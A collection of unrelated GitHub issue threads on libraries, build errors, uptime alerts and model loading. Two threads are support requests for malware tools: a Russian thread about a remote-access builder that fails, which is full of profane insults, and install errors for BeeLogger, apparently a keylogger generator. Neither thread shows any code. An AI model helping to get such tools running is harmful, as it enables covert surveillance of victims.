Thanks for your PR!
I actually use goimports and it doesn't do the stuff you add.
Also it seems like vim-go can do the code-completion without the package matching the foldername.

Don't use goreturns though

license_source: bigquery


text:
Ошибка

Я все делаю по инструкции все правильно все ок. Но когда заполняю все поля или даже частично то он просто создает такой же builder. То есть builder создает builder только с другим названием.  Мне кажется что он что то в коде напортачил и из-за этого он создает не приложение для получения удаленного доступа к компьютеру а builder.

мне кажется,что ты долбаеб <3

иди высри под сурсярами зевса,что он не работает

мне кажется,что ты долбаеб <3

а мне кажется ты еблан тупой далбаебище тупорылое иди нахуй ахуел да блять я нахуй сказал что у меня не робит билдер а ты еблан тупой ущерб без мамки высрал что какую то хуйню про зевс

блять я попросил нахуй чтобы посмотрели может как то можно исправить а ты нахуй ущерб блять тупой безмамный говоришь что то про далабеба еблан тупорылый

Здравстуйте. Предоставьте GIF работы программы, либо скриншоты ввода полей. Тестировалось на виртуальных машинах и на реальных - нет никаких проблем.

Подозреваю, что у вас напутаны названия Builder'a и Stub'а. Важно, что бы названия файлов после распаковки оставались такими, как были и до распаковки.

Подозреваю, что у вас напутаны названия Builder'a и Stub'а. Важно, что бы названия файлов после распаковки оставались такими, как были и до распаковки.

Они остались такими же какими и были, я их не трогал как распаковал так сразу открыл билдер. Скриншоты в данный момент предоставить не могу.

Без доказательств работы issue не открывать, иначе заблокирую.


text:
Attachment download with IE11 gives 404 error

seems to be an issue with IE11 cookie handling.
Analysis ongoing in Meteor-Files project.
See https://github.com/VeliovGroup/Meteor-Files/issues/327

Issue seems solved in Meteor-Files package.
We will merge in.

license: mit


text:
Remove false positive

Please remove these false positive sites from hosts

onesignal.com
rebrand.ly

False positive for: vivaldi.com
This is a browser

Done in commit c962b4a285a22f150353eab9598f847643ed70e4

authors: 4skinSkywalker FlyingBackdoor fdauti


text:
wine: cannot find '/root/.wine/drive_c/Python27/python.exe'

wine: cannot find '/root/.wine/drive_c/Python27/python.exe'
Same problem, looking for a fix. I've tried a lot of apt-gets, updates and upgrades, etc.
Originally posted by @5p00ks in https://github.com/4w4k3/BeeLogger/issues/39#issuecomment-521161759

While running ./install.sh
https://imgur.com/gallery/GABMQtF

-After giving e-mail data
wine: cannot find '/root/.wine/drive_c/Python27/python.exe'
Traceback (most recent call last):
File "bee.py", line 161, in
main()
File "bee.py", line 107, in main
os.rename('dist/k.exe', 'dist/' + name)
OSError: [Errno 2] No such file or directory

[Fixed]
just do whatever this guy do in this video and it will be fixed it worked for me anyway
youtube sh4dy
i hope this work for you too

Can no longer be seen :c

video is private please can you list the steps

wine: cannot find '/root/.wine/drive_c/Python27/python.exe'
Kindly help with the steps

wine: cannot find '/root/.wine/drive_c/Python27/python.exe'
Kindly help with the steps

Anyone please help!

need help with this too


text:
Drop slot height cannot be set to 0

It appears the logic of tree-options.model.ts does not permit a drop slot height of 0, as it gets coerced to 'false' in the null check of the dropSlotHeight getter.
The line in question is:
return this.options.dropSlotHeight || 2

True, will be fixed in 6.0.1
Adam Klein
Chief Technology Officer
Tel.   +972-52-7475633 <+972527475633>
Web 500tech.com http://www.500tech.com/ | github.com/500tech |
@adamklein500 http://twitter.com/adamklein500
On Wed, Dec 6, 2017 at 12:40 AM, Seth Traverse notifications@github.com
wrote:

It appears the logic of tree-options.model.ts
https://github.com/500tech/angular-tree-component/blob/master/lib/models/tree-options.model.ts
does not permit a drop slot height of 0, as it gets coerced to 'false' in
the null check of the dropSlotHeight getter.
The line in question is:
return this.options.dropSlotHeight || 2
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/500tech/angular-tree-component/issues/489, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AA2SSpJ0xa3yTH7uknrWJLHRg1JHU--Tks5s9cZVgaJpZM4Q3FAq
.

Fixed in 6.1.0


text:
actionMapping drop seems to supply only droplocation node, not dragged node. Tried to use drag and dragStart actionmapping but don't seem to be called at all.

Hi,
Please look for an answer in the docs before submitting an issue:
angular2-tree.readme.io.
In case you are reporting a bug, please specify which version of angular2-tree-component you are using.
Thank you

Use from to get the dragged node.
From the docs:
  actionMapping: {
    mouse: {
      drop: (tree:TreeModel, node:TreeNode, $event:any, {from, to}) => {
        // use from to get the dragged node.
        // use to.parent and to.index to get the drop location
        // use TREE_ACTIONS.MOVE_NODE to invoke the original action
      }
    }
  }

Thanks @HenricusL

thanks. updating to the latest version solved this.

for drop we use "drop: (tree:TreeModel, node:TreeNode, $event:any, {from, to})"
and for drag, dragstart and dragend? what we is it?
thx

authors: 1010451 HenricusL adamkleingit


text:
[MGDOBR-1081] Error polling endpoint should not be documented (it is optional)

Hiding polling error endpoint from OpenAPI because it is optional and users should use the /bridges/id endpoint to retrieve the error endpoint
MGDOBR-1081
PR owner checklist
Please make sure that your PR meets the following requirements:

[x] Your code is properly formatted according to this configuration.
Run mvn clean verify -DskipTests so that imports are correctly set.
[x] Your commit messages are clear and reference the JIRA issue e.g: "[MGDOBR-1] - $clear_explanation_of_what_you_did"
[x] The layers in the kustomize folder have been updated accordingly.
[x] All new functionality is tested
[x] Pull Request title is properly formatted: MGDOBR-XYZ Subject
[x] Pull Request contains link to the JIRA issue
[x] Pull Request contains link to any dependent or related Pull Request
[x] Pull Request contains description of the issue
[x] Pull Request does not include fixes for issues other than the main ticket

PR reviewer(s) checklist

[x] Check if code and Github action workflows have been modified and if the modification is safe
[x] If the modification is safe, add the safe to test label

How to trigger pipelines and use the bots:

Run the end to end pipeline
Annotate the pull request with the label: safe to test. If you want to run the pipeline again, remove and add it again.

Rebase the pull request
Comment with: /rebase.

Deploy BOT
Comment with `/deploy <dev,stable> when the PR has been merged to deploy to a target environment.

Mmm strange, Bridge CI build failed with
2022-09-14T08:43:47.2829638Z Caused by: java.net.SocketException: Socket closed

/rebase


text:
[BUG] wvp-pro-assist 使用 https 的问题

环境信息:

部署方式  wvp-pro + wvp-pro-assist + zlm都是编译部署
部署环境 centos 7
wvp-pro/wvp-pro-assist/zlm 均使用 https
你做过哪些尝试
代码更新时间 commit: 512b0cc8f5606f08b93afb154f0cffd92b93cac8

描述错误
wvp-pro-assist 配置为使用 ssl 的时候，wvp-pro 的 record_proxy 仍然尝试使用 http 转发请求，导致请求失败
如何复现
配置 wvp-pro 和 wvp-pro-assist 均为 https，访问 wvp-pro 的 record_proxy 接口和对应的 wvp-pro-assist 接口（均用 https 访问），wvp-pro 的 record_proxy 接口访问失败，提示不能使用 TLS，wvp-pro-assist 访问成功正常返回数据。

assist目前不支持https

能分享下assist配置吗，我这边 wvp-pro-assist 代理跨域，wvp访问正常是什么原因呀

先关了，大部分时候不需要assist了

authors: 648540858 YTed lunasaw


text:
优化设备录像列表查询--兼容不规范的日期，例如宇视的时间格式：2022-5-24T0:07:21\n

1.DateTimeFormatter强调强一致性，对于2022-5-24T0:07:21时间格式会解析失败
2.SimpleDateFormat方法内创建对象，解决多线程并发问题

已修复


text:
感谢分享。然而菜鸡如我，写不出一个单文本的predict接口

感谢楼主分享，训练好了模型，从test效果感觉还行。只是写不出predict脚本。有哪位大佬写过求指教

def predict(config,model,data_iter):
model.load_state_dict(torch.load(config.save_path))
model.eval()
predict_all = np.array([],dtype=int)
with torch.no_grad():
for texts,labels in data_iter:
outputs = model(texts)
predic = torch.max(outputs.data,1)[1].cpu().numpy()
predict_all = np.append(predict_all,predic)
return predict_all

def predict(config,model,data_iter):
model.load_state_dict(torch.load(config.save_path))
model.eval()
predict_all = np.array([],dtype=int)
with torch.no_grad():
for texts,labels in data_iter:
outputs = model(texts)
predic = torch.max(outputs.data,1)[1].cpu().numpy()
predict_all = np.append(predict_all,predic)
return predict_all

#70 预测代码

authors: BreakOutLYS GuiminDragon jtyoui


text:
IndexError: Target 13 is out of bounds.

自己建设数据集，class有13个分类。出现IndexError: Target 13 is out of bounds.问题。求帮忙！！！

您好，请问你解决了嘛


text:
Added output log to the function SplitAndPay.

The only logging method I found that I managed to implement was emitting events.
This branch currently uses two different implementations of events for logging.
In all cases except in the SplitAndPay function, the event emitted contains several parameters, which take the form of a sequence of pairs of parameters where each pair provides information about a single entity. The first parameter of each pair is a string that describes the meaning of the entity, explaining what it is, while the second parameter is either a uint or an address which contains the actual value of the entity.
e.g: event Log(string message, address a1);
The parameter message describes the meaning of the parameter a1. For example, the parameter message might be "Beneficiary changed to: " to explain what the parameter address is.
In the log event used by the SplitAndPay function, the string parameters do not exist:
event LogSplitting(uint Donated, uint Sent_to_costcentre, uint Remainder);
Instead, the meaning of the value parameters is described by the variable names of those parameters. Since the Remix output displays the names of the parameters alongside their values, this works fine, but I'm not sure if we will be able to see the variable names in the real implementation of the contract. This is therefore a point to observe when testing this contract on a small network, to see which logging method is the most suitable.

Yep, thanks. That's what I meant! I obviously need to be more careful when proof reading. I also still need to do a thorough test of all possible situations.
Sent from ProtonMail mobile
-------- Original Message --------
On 29 Mar 2020 15:36, Andreas E. wrote:

@71ae requested changes on this pull request.

In SplitMiningRewards.sol:

     else // there is not enough money in this wallet to cover all the electricity costs

       costcenter.transfer(_balance - transaction_fee);   // sending the costcenter all the money in this account

       sent_electricity_costs = _balance - transaction_fee;   // sending the costcenter all the money in this account

   costcenter.transfer(electricity_cost); // sending the costcenter the money to cover the electricity costs

You are now (trying to) sending the value of electricity_cost, even if there isn't enough money to cover them all.
Want to use sent_electricity_cost variable for the transfer, instead?
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHub, or unsubscribe.

Hang on, there's something wrong here.
costcenter.transfer(balance - transactionfee)
The above line shouldn't exist because it's job is performed by costcenter.transact(sent_electricity_costs)
I'll have to check I uploaded the final finished version of my work to the pull request , cause I can't imagine I left a mistake as big as that in!
Sent from ProtonMail mobile
-------- Original Message --------
On 29 Mar 2020 15:36, Andreas E. wrote:

@71ae requested changes on this pull request.

In SplitMiningRewards.sol:

     else // there is not enough money in this wallet to cover all the electricity costs

       costcenter.transfer(_balance - transaction_fee);   // sending the costcenter all the money in this account

       sent_electricity_costs = _balance - transaction_fee;   // sending the costcenter all the money in this account

   costcenter.transfer(electricity_cost); // sending the costcenter the money to cover the electricity costs

You are now (trying to) sending the value of electricity_cost, even if there isn't enough money to cover them all.
Want to use sent_electricity_cost variable for the transfer, instead?
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHub, or unsubscribe.

Yep, thanks. That's what I meant! I obviously need to be more careful when proof reading. I also still need to do a thorough test of all possible situations.

No worries, that's why pull-requests and reviews are being done.

Never mind about that last comment, I was viewing the comments on my email client and didn't see that that line was marked as removed.
Sent from ProtonMail mobile
-------- Original Message --------
On 30 Mar 2020 07:51, homo cogitabundus wrote:

Hang on, there's something wrong here.
costcenter.transfer(balance - transactionfee)
The above line shouldn't exist because it's job is performed by costcenter.transact(sent_electricity_costs)
I'll have to check I uploaded the final finished version of my work to the pull request , cause I can't imagine I left a mistake as big as that in!
Sent from ProtonMail mobile
-------- Original Message --------
On 29 Mar 2020 15:36, Andreas E. wrote:

@71ae requested changes on this pull request.

In SplitMiningRewards.sol:

     else // there is not enough money in this wallet to cover all the electricity costs

       costcenter.transfer(_balance - transaction_fee);   // sending the costcenter all the money in this account

       sent_electricity_costs = _balance - transaction_fee;   // sending the costcenter all the money in this account

   costcenter.transfer(electricity_cost); // sending the costcenter the money to cover the electricity costs

You are now (trying to) sending the value of electricity_cost, even if there isn't enough money to cover them all.
Want to use sent_electricity_cost variable for the transfer, instead?
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHub, or unsubscribe.


text:
Could not resolve ngx-cookie-service ...

Expected Behavior
... no error should be thrown as part of ng build
Actual Behavior
... Could not resolve ngx-cookie-service relative
error TS2307: Cannot find module 'ngx-cookie-service'.
src/app/app.module.ts(22,29): error TS2307: Cannot find module 'ngx-cookie-service'.
Steps to Reproduce the Problem
... install the latest ngx-cookie-service
Specifications

Version: ... 2.0.1
Browser: ...
...
I was working perfectly fine until today after updating the package

It worked for me fine and now I have exactly the same issue.
ERROR in app/app.module.ts(321,5): Error during template compile of 'AppModule'   Could not resolve ngx-cookie-service relative to [object Object]..

I changed to version 2.0.1 (had 2.0.0) before and changed this line:
import { CookieService } from 'ngx-cookie-service';
into this:
import { CookieService } from 'ngx-cookie-service/lib';
Now It's working fine again. Not sure however, if that helps you...

as a quick fix for my project, I installed the old version 2.0.0 and got it worked

I was on 2.0.0 and it's not working anymore, tried 2.0.1 and now back on 2.0.0. It does not work.
  Could not resolve ngx-cookie-service relative to [object Object]..
src/app/service/user.service.ts(29,29): error TS2307: Cannot find module 'ngx-cookie-service'.
src/app/app.component.ts(13,29): error TS2307: Cannot find module 'ngx-cookie-service'.
src/app/app.module.ts(142,29): error TS2307: Cannot find module 'ngx-cookie-service'.

As a quick fix it helped to add cookie.service.ts directly to my project. However, I would rather want to add the package via npm.

Hello,
thanks for the notification. There was an issue with the publishing script. 2.0.2 is out and should resolve the issue. I am very sorry for the inconvenience.
Cheers

authors: CunningFatalist pschuster vithubati


text:
Implement CI/CD to deploy the new version of the library after merge to main

As title says, as of the writing of this issue the library is out of date with what is in main, it would be great to expand the CI to deploy to NPM after merge to main

To avoid issues like #53, this is necessary. It seems that operations would become easier if releases were triggered by pushing tags.


text:
add more WQ data ts plots

@7yl4r There are two main formats for the WQ data. There is a .csv file for each param (chl, turb, nitrogen, silica, etc.) or there is a merged .csv with all of them in the same file. I'm not sure which will be easier to ingest by this tool. The merged file is fairly large (~64MB, ~600,000 rows).

Looking at the merged file, I see some differences and inconsistencies with program names, so I think it will be best to use the individual .csv files for each parameter.

@dotis : I tried adding additional plots but ran into an issue. I think the issue is that some of the wq parameters may not be coming from the same stations. This could be the same name inconsistencies you were seeing in the other file.
Here is an example line from data/Merged_turb.csv for which there is no station information:
Miami Beach,35,12,2022,Turb,1.87,NTU,,

We can add more stations to the map but we will need details for those stations added to station_sampling_periods_for_all_programs.csv.

Looking at the merged file with all wq params, I see that this is more comprehensive than the individual param files and includes lat/lon for each site. Perhaps it is actually better to use this file. I will ask Alex Fine at AOML.
@7yl4r can we ingest from a large file (~64MB)? Currently, it is in .csv format. Or, do we need to break it up into smaller chunks?

<100MB is acceptable, <50MB is preferred. Drop it in https://github.com/7yl4r/wq-dash/tree/master/data and we'll see.

GH says, "No".
"Yowza, that’s a big file. Try again with a file smaller than 25MB."


text:
IST同期不具合報告

みやのしまりす @4maris_38
Replying to @IIDX_12
返信ありがとうございます。以下記載いたします。
IIDX ID: 5328-8247
IST側: 「最小三倍完全数」(A) ハードクリア
期待した結果: 参考表側でクリア状況が未プレーとなっている「最小三倍完全数」を、ハードクリアに更新する
実際の結果; 参考表側のクリア状況が更新されず、未プレーのままだった

refs: https://twitter.com/4maris_38/status/1193100673228759041

コード上であり得る可能性は以下

IST側でHARD CLEAR(スコアは0)
abilitysheet側でNO PLAY(スコアレコードが存在していない)


text:
🛑 Mailsystem Internal is down

In ca771a4, Mailsystem Internal ($MAIL_INT) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Mailsystem Internal is back up in 85e6478.


text:
🛑 instagram is down

In c490d60, instagram (https://www.instagram.com/9renpoto/) was down:

HTTP code: 429
Response time: 168 ms

Resolved: instagram is back up in 5437ff8 after 10 minutes.


text:
🛑 threads is down

In 831a19f, threads (https://www.threads.net/@9renpoto) was down:

HTTP code: 429
Response time: 308 ms

Resolved: threads is back up in 3292f43 after 8 minutes.


text:
Don't work in ie8?

I test in ie8,the right top exporting button  show "print chart",no save image buttons.And  try to run in chrome,is ok!

This was discussed at length here: #4

authors: A---- ecosu

repo: A----/highcharts-export-clientside

license: unlicense


text:
标题如何左对齐?(不是副标题)

问题如图
标题文字如何左对齐呢
还有.seriesSet.nameSet 如何隐藏 ,传(null) 会显示默认, 传@""空字符串也会显示一个和柱状颜色相同的圆点
https://spacetime-app.oss-cn-hangzhou.aliyuncs.com/photo/37720446ca6b4e9fbcd7d4468be80170.png

问题如图
标题文字如何左对齐呢
还有.seriesSet.nameSet 如何隐藏 ,传(null) 会显示默认, 传@""空字符串也会显示一个和柱状颜色相同的圆点
https://spacetime-app.oss-cn-hangzhou.aliyuncs.com/photo/37720446ca6b4e9fbcd7d4468be80170.png

问题如图
标题文字如何左对齐呢
还有.seriesSet.nameSet 如何隐藏 ,传(null) 会显示默认, 传@""空字符串也会显示一个和柱状颜色相同的圆点
不知道为什么贴不上图

不知为什么贴不上图
图片地址 https://spacetime-app.oss-cn-hangzhou.aliyuncs.com/photo/37720446ca6b4e9fbcd7d4468be80170.png
辛苦作者

改成 markdown 格式的图片链接就可以了, 就像下面这样
![]( https://spacetime-app.oss-cn-hangzhou.aliyuncs.com/photo/37720446ca6b4e9fbcd7d4468be80170.png)

改成 markdown 格式的图片链接就可以了, 就像下面这样
![]( https://spacetime-app.oss-cn-hangzhou.aliyuncs.com/photo/37720446ca6b4e9fbcd7d4468be80170.png)

标题文字如何左对齐呢
还有.seriesSet.nameSet 如何隐藏 ,传(null) 会显示默认, 传@""空字符串也会显示一个和柱状颜色相同的圆点

如何隐藏图表的图例 , 参见: #399

感谢作者
还有一个问题 支持不支持数据在柱状图上面显示呢

感谢作者
还有一个问题 支持不支持数据在柱状图上面显示呢

这样显示是否支持呢

实现柱状图部分圆角的功能, 参见 https://github.com/AAChartModel/AAChartKit/issues/842

感谢作者百忙之中答疑,
我指的是数据,直接显示在柱状图 顶部这种, 是否支持呢

参考 AATitle 属性
@interface AATitle : NSObject

AAPropStatementAndPropSetFuncStatement(copy,   AATitle, NSString *, text)
AAPropStatementAndPropSetFuncStatement(strong, AATitle, AAStyle  *, style)
AAPropStatementAndPropSetFuncStatement(copy,   AATitle, NSString *, align)
AAPropStatementAndPropSetFuncStatement(copy,   AATitle, NSString *, verticalAlign)
AAPropStatementAndPropSetFuncStatement(strong, AATitle, NSNumber *, x)//标题相对于水平对齐的偏移量，取值范围为：图表左边距到图表右边距，可以是负值，单位px。 默认是：0.
AAPropStatementAndPropSetFuncStatement(strong, AATitle, NSNumber *, y) //标题相对于垂直对齐的偏移量，取值范围：图表的上边距（chart.spacingTop ）到图表的下边距（chart.spacingBottom），可以是负值，单位是px。默认值和字体大小有关。
AAPropStatementAndPropSetFuncStatement(assign, AATitle, BOOL          , useHTML) //是否 使用HTML渲染标题。 默认是：false.

@end

设置align属性为 AAChartAlignTypeLeft即可实现左对齐
关于 AAChartAlignType 枚举类型, 可选的有以下三种
typedef NSString *AAChartAlignType;

AACHARTKIT_EXTERN AAChartAlignType const AAChartAlignTypeLeft; //左对齐
AACHARTKIT_EXTERN AAChartAlignType const AAChartAlignTypeCenter; //居中对齐
AACHARTKIT_EXTERN AAChartAlignType const AAChartAlignTypeRight; //右对齐

参考 AAChartModel 的 dataLabelsEnabled属性
AAPropStatementAndPropSetFuncStatement(assign, AAChartModel, BOOL,       dataLabelsEnabled) //是否显示数据,默认为否

设置 dataLabelsEnabled 为 true 即显示数据标签(数据标签默认在柱状图顶部)

这是这样最高的那条柱状的数据就会在柱状内部.这个有什么思路可以解决吗

那是因为你的图表的顶部空间不够用于显示 DataLabels 数据标签了, 你把 Y轴的最大值设置的比你的 data 数组中的最大值再大些就可以了.

使用 AADataLabels 的属性y来处理此问题吧,更合理一些
AAPropStatementAndPropSetFuncStatement(strong, AADataLabels, NSNumber *, y) //数据标签的竖直偏移。 默认是：-6.
``

参见 https://api.highcharts.com.cn/highcharts#plotOptions.series.dataLabels.y

https://jshare.com.cn/highcharts/eSNmQc/4
修改此处的在线示例代码为
Highcharts.chart('container', {
	xAxis: {
		categories: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
	},
	plotOptions: {
		series: {
			dataLabels: {
				enabled: true,
				y: -10
			}
		}
	},
	series: [{
		type : 'column',
		data: [29.9, 71.5, 1106.4, 129.2, 144.0, 176.0, 135.6, 148.5, 216.4, 194.1, 95.6, 54.4]
	}]
});

绘图结果

由上可知, 在 AAChartKit 中, 设置 AADataLabels 的属性 y 为 @-10 差不多就能满足你的需求了

诚挚感谢!
问题已解决,

authors: AAChartModel xiyupingxuan

repo: AAChartModel/AAChartKit


text:
Multi-line featured resources are not indented properly

When a featured resource with long titles requires more than one line, the second line should start directly below the first line (as in list with bullets). Currently, the second line starts under the star, which doesn't look great:

@juliandsmith - I began messing around with this today. I found the whole 'Featured Resource' panel to be a little crowded and clunky (especially when a user is not logged in). I've separated each resource instance into three buckets: Star or Lock, Title, Content Type Label. They wont overlap now. I've added a little front end logic to check if the user should see a star, or a lock, but they should never see both for a single resource listing. I've attached screen shots of when a user is logged in, and when they aren't. I know that I'll have to tweak some alignments, but let me know what you think!
Logged in:

Logged out, need to align the star and lock:

Looks great aside from the alignment for the star and lock icons!.

I like it too!

authors: dodget juliandsmith monika-aashe

repo: AASHE/hub


text:
🛑 ACOMO Ticket is down

In 3337eba, ACOMO Ticket ($SITE_TICKET) was down:

HTTP code: 0
Response time: 0 ms

Resolved: ACOMO Ticket is back up in 004abc1 after 33 minutes.

repo: ACOMO-FINTECH/status


text:
Issues Using FinGPT/fingpt-forecaster_dow30_llama2-7b_lora

Good Day,
First of all, love this project. Thanks for all everyone does who contributes.
I am new to huggingface so thanks for bearing with me. Anyways, I am trying to load the dow30 model but always get the issue: "OSError: base_models/Llama-2-7b-chat-hf is not a local folder and is not a valid model identifier listed on 'https://huggingface.co/models'". Is there something I am missing?
For example, I get that error when simply running: pipeline('text-generation','FinGPT/fingpt-forecaster_dow30_llama2-7b_lora')
I also try following the Readme for the forecaster, but keep getting a "can't find the .config file"
Any help would be much appreciated!

There were some mistakes in the README instructions, and the code in demo.ipynb was intended for loading models from disk. Now I've corrected them both. Try again and see if there are any more things we can help you with.

thanks so much for your quick response! I have a follow up question in regards to the .readme line of code:
model = PeftModel.from_pretrained('FinGPT/fingpt-forecaster_dow30_llama2-7b_lora')
I am getting the error: "TypeError: PeftModel.from_pretrained() missing 1 required positional argument: 'model_id'"
Shouldn't the code be:
model = PeftModel.from_pretrained(base_model,'FinGPT/fingpt-forecaster_dow30_llama2-7b_lora') ?

quick response! I have a follow up question in regards to the .readme line of code:
model = PeftModel.from_pretrained('FinGPT/fingpt-forecaster_dow30_llama2-7b_lora')
I am getting the error: "TypeError: PeftMo

You're right. Thanks for pointing that out, my bad for not reviewing the README codes. Fixing it.


text:
Add C++ Solution for Problem Of The Day | 18 December 2022

Comment below if you're interested in working on this issue and would like to be assigned to it.

plaese assign me this issue.

repo: AIOCodeBase/GFGPOTD


text:
About the error when parsing CAPEC and CWE connection. The error message is the same as before, indicating that the specified column cannot be found in the DataFrame.

2023-06-30 11:17:06,011 INFO: Begin parse CAPEC and CWE connections
Traceback (most recent call last):
File "tutorials/build_bron.py", line 264, in
main(
File "tutorials/build_bron.py", line 233, in main
_parse()
File "tutorials/build_bron.py", line 90, in _parse
parse_capec_cwe.parse_capec_cwe_files(
File "/usr/local/bron/download_threat_information/parsing_scripts/parse_capec_cwe.py", line 323, in parse_capec_cwe_files
for _, row in cwe_data[
File "/usr/local/lib/python3.8/site-packages/pandas/core/frame.py", line 3767, in getitem
indexer = self.columns._get_indexer_strict(key, "columns")[1]
File "/usr/local/lib/python3.8/site-packages/pandas/core/indexes/base.py", line 5877, in _get_indexer_strict
self._raise_if_missing(keyarr, indexer, axis_name)
File "/usr/local/lib/python3.8/site-packages/pandas/core/indexes/base.py", line 5938, in _raise_if_missing
raise KeyError(f"None of [{key}] are in the [{axis_name}]")
KeyError: "None of [Index(['ID', 'Name', 'Description', 'Extended_Description',\n       'Applicable Platforms', 'Common Consequences', 'Likelihood of Exploit'],\n      dtype='object')] are in the [columns]"

It has to do with an update in the latest CWE release. We are working on a fix. It will involve changing cwe-6 to cwe-7 in parsing_scripts/parse_capec_cwe.py

Thank you for your timely reply, I did not expect to maintain this project in the first time, looking forward to the project destination time update

Thank you for your timely reply, I didn't expect to maintain this project in the first place, looking forward to the next update of the project

#37 should fix the issue with parsing the latest CWE xml-version

repo: ALFA-group/BRON


text:
MacOS CM6下Live Preview中 fcitx-remote失效，以及切换逻辑问题

在CM6下Live Preview中 fcitx-remote 失效，详见这里，希望example可以改成im-select，对新用户更友好些；
没有太明白使用逻辑，在Insert mode中使用A输入法，切到Normal Mode为英文输入法，逻辑是切回Insert还是保持英文？是否切回能够保持A输入法更好？

附上我的配置：
Default IM: com.apple.keylayout.US
Obtaining Command: /usr/local/bin/im-select
Switching Command: /usr/local/bin/im-select {im}

目前插件的逻辑是这样的：
Default IM应该填入Normal模式下你需要使用的输入法
这样的话，插件会这么工作：在从INSERT模式离开时会获得当前用户使用的输入法，同时切换为Default IM。
重新进入INSERT的时候重新切换到上次使用的输入法。
不知道这样是否解决你的问题。

CM6我应该已经对其做了适配，不过我没有MAC系统的电脑，所以可以在详细描述一下失效的部分嘛？

CM6我应该已经对其做了适配，不过我没有MAC系统的电脑，所以可以在详细描述一下失效的部分嘛？

试了试用macism切换的话暂时没发现什么问题, 感谢适配live preview!

😁

/usr/local/bin/

可以看一下你的命令吗？我也用的macism，但是一直不生效

authors: ALONELUR Palvehelmed betterZCH lclrc

repo: ALONELUR/vim-im-select-obsidian